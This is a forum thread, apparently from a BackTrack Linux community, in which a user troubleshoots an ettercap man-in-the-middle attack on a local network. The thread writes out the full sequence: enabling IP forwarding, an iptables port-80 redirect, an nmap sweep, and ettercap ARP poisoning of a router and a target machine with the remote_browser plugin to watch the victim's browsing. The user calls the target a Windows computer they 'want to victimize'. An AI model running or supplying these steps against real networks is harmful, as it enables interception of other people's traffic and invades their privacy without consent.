FATAL: MITM attacks can't be used on unconfigured interfaces

[waterways]

Hello everyone. (problem using ettercap) I have been up for hours trying to figure this one out but I'm stuck. I cannot find any solutions on the web.
This is what I did, and the results:


root@bt:~# nano /etc/etter.conf
(removed 2 # signs from iptables)

root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@bt:~# iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080

root@bt:~# nmap -sP 192.168.1.1/24
(I am leaving out a long list of results here...)

root@bt:~# ettercap -i wlan0 -TqM ARP:REMOTE /192.168.1.1/ /192.168.1.46/

Any ideas?
thanks

Is wlan0 configured?

I started getting
"iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded."
after running remote_browser and giving up because it was taking so long by pressing q.

So upon further reading I tried
"nano /etc/etter.conf" and changed ec_uid and ec_gid to 0.
I also added sudo
"echo 1 | sudo tee /proc/sys/net/ipv4//ip_forward"

I don't get a permission denied warning... Now it just hangs at
"Activating remote_browser plugin..."

I try surfing around on my other computer, and nothing is picked up... what am I missing here??


Edit:

I think I figured out why "Activating Remote Browser" is hanging.. I changed this:

root@bt:~# ettercap -i wlan0 -TqM ARP:REMOTE /192.168.1.1/ /192.168.1.46/
to
root@bt:~# ettercap -i wlan0 -TqM ARP:REMOTE // // (forgot to mention that)

when I looked to see which 2 hosts I was getting it was 192.168.58.245 and 192.168.58.2

now the ipv4 of my windows computer I want to victimize is 192.168.58.46 and it simply isnt showing up. (although it does show up in the nmap)

How to fix this I haven't a clue

Apparently not.. I tried ifconfig and noticed that eth1 had more information attached to it than the others (HWaddr, inet addr, Bcast, Mask, inet6 addr) so I figured that must be configured.
I tried it.. and wallah! past one hurdle. Not sure if its working entirely yet but .. anyways. I found this: http://www.cyberciti.biz/faq/setting...terfaces-file/ is this how one would go about configuring an interface?
